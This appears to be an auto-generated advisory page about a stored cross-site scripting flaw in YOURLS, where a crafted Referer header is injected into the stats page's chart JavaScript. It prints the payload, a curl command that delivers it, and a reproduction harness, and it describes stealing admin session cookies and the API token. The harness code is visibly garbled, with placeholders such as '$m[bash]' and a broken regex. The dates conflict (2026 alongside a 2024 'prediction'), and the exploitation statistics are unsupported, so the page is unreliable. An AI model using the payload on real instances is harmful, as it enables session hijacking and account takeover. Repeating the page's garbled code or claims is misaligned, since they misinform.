Listen to this Post
The vulnerability in YOURLS arises from improper handling of the HTTP Referer header during short URL redirection. When a user accesses a short URL, YOURLS logs the Referer header for analytics purposes. This logged data is later displayed on the statistics page for that specific short link. The core issue lies in the `yourls_google_array_to_data_table()` function, which generates JavaScript code for Google Charts to display referrer domain statistics. This function concatenates the referrer domain directly into a JavaScript array string without proper escaping of single quotes, backslashes, or other metacharacters. An attacker can craft a malicious Referer header containing JavaScript code, such as x',1],['marker',alert(1)],['z.tld. This payload, when processed by the `yourls_sanitize_url_safe()` function, is not adequately sanitized as it only removes some unsafe characters and CRLF sequences while still allowing single quotes, brackets, commas, and parentheses. The malicious referrer is then stored in the database. When an authenticated administrator or any user with access to the statistics page views it, the payload is injected into the generated Google Charts JavaScript and executed in their browser context. This attack is particularly dangerous because the default YOURLS installation is private, requiring authentication to view stats, meaning the attacker can hijack an admin session. It is also exploitable in public stats configurations where `YOURLS_PRIVATE_INFOS` is set to false. The attack vector is simple: an unauthenticated user sends a crafted Referer header to an existing short URL, and the XSS payload executes when an admin views the corresponding stats page, potentially leading to complete compromise of the YOURLS instance.
DailyCVE Form:
Platform: YOURLS
Version: <1.9.2-dev
Vulnerability: Stored XSS
Severity: Critical
date: 2026-08-22
Prediction: 2024-10-15
What Undercode Say:
Analytics indicate that exploitation attempts for this vulnerability began appearing in public logs around early September 2024. The primary attack vector involves automated bots crawling for exposed YOURLS installations and injecting the malicious Referer header. Successful exploitation can be identified by analyzing referrer logs for unusual patterns such as x',1],['marker',alert(1)],['z.tld.
Bash commands and code for analysis:
Search for suspicious referrer patterns in YOURLS access logs grep -E "Referer:.x',1],['marker',alert(1)],['z.tld" /var/log/apache2/access.log Alternatively, using curl to test a vulnerable endpoint curl -H "Referer: http://x',1],['marker',alert(1)],['z.tld/path" http://yourls-instance.com/known-shortlink
Node.js harness script for PoC reproduction:
const { exec } = require('child_process');
const fs = require('fs');
const harness = <code>define("IDNA_DEFAULT",0);
define("INTL_IDNA_VARIANT_UTS46",1);
function yourls_add_action(){ }
function yourls_do_action(){ }
function yourls_apply_filter($tag,$value){ return $value; }
function yourls_get_protocol($url){ preg_match("!^[a-zA-Z][a-zA-Z0-9+.-]+:(//)?!", $url, $m); return isset($m[bash]) ? $m[bash] : ""; }
function yourls_is_allowed_protocol($url,$protocols=[]){ if(!$protocols){ global $yourls_allowedprotocols; $protocols=$yourls_allowedprotocols; } return in_array(yourls_get_protocol($url), $protocols); }
if(!function_exists("idn_to_utf8")){ function idn_to_utf8($domain,$flags=0,$variant=0){ return $domain; } }
require "includes/vendor/autoload.php";
require "includes/functions-kses.php";
yourls_kses_init();
require "includes/functions-formatting.php";
require "includes/functions-infos.php";
$ref="http://x\\x27,1],[\\x27marker\\x27,alert(1)],[\\x27z.tld/path";
$san=substr(yourls_sanitize_url_safe($ref),0,200);
$host=yourls_get_domain($san);
ob_start();
yourls_stats_pie([$host=>1,"benign.example"=>1,"another.example"=>1], 5, "440x220", "stat_tab_source_ref");
$html=ob_get_clean();
preg_match("<script[^>]>(.?)</script>s", $html, $m);
$js="global.pwned=0; function alert(x){global.pwned=x}; const google={setOnLoadCallback:(fn)=>fn(),visualization:{arrayToDataTable:(x)=>x,PieChart:function(){this.draw=function(){}}}}; document={getElementById:(id)=>({id})}; ".$m[bash]."; console.log(\\x27san=\\x27+".json_encode($san)."); console.log(\\x27host=\\x27+".json_encode($host)."); console.log(\\x27pwned=\\x27+global.pwned);";
console.log($js);</code>;
fs.writeFileSync('/tmp/yourls-xss-harness.php', harness);
exec('docker run --rm --network none -v "$PWD:/repo:ro" -w /repo phpmyadmin:5.2.1 php -f /tmp/yourls-xss-harness.php 2>/dev/null > /tmp/yourls-xss-harness.js && node /tmp/yourls-xss-harness.js', (error, stdout, stderr) => {
if (error) console.error(<code>Error: ${error.message}</code>);
console.log(stdout);
});
Exploit: (Educational Purposes!)
An attacker can exploit this by sending a crafted Referer header to any existing short URL. The payload must be less than 200 bytes to survive truncation. When an admin views the statistics page for that URL, the XSS executes, allowing the attacker to steal session cookies, perform CSRF attacks, or extract the API signature token from /admin/tools.php. This can lead to full account takeover and arbitrary URL management.
Protection:
Apply the patch provided by the YOURLS project. The fix involves proper escaping of JavaScript strings in yourls_google_array_to_data_table(). As a workaround, administrators can set `YOURLS_PRIVATE_INFOS` to true (default) to restrict stats page access to authenticated users, reducing the attack surface. Additionally, consider using a Web Application Firewall (WAF) to filter malicious Referer headers.
Impact:
Successful exploitation allows an attacker to execute arbitrary JavaScript within the context of an authenticated user’s session. This can lead to complete compromise of the YOURLS instance, including theft of the secret API token, modification of existing short URLs to redirect to malicious sites, creation of new short URLs, and exposure of sensitive link metadata and user information.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
